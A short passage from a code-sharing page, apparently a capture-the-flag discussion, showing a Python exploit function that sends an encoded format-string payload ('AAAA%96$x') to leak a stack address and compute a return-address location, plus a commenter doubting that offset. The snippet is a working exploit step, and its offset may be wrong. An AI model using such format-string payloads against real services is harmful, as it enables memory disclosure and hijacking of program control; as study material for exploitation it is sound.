You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
def get_retn_addr():
p = getp()
payload = ''
payload += 'AAAA%96$x'
cipher = encode(megan35, payload)
p.sendline(cipher)
ret = p.recvall()
ret = ret.replace('AAAA','')
return u32(ret.decode('hex')[::-1])+0xc
Did you want to calculate the stack address holding the return address from main method? If so, it seems not to be stored as the 96-th argument of the printf call.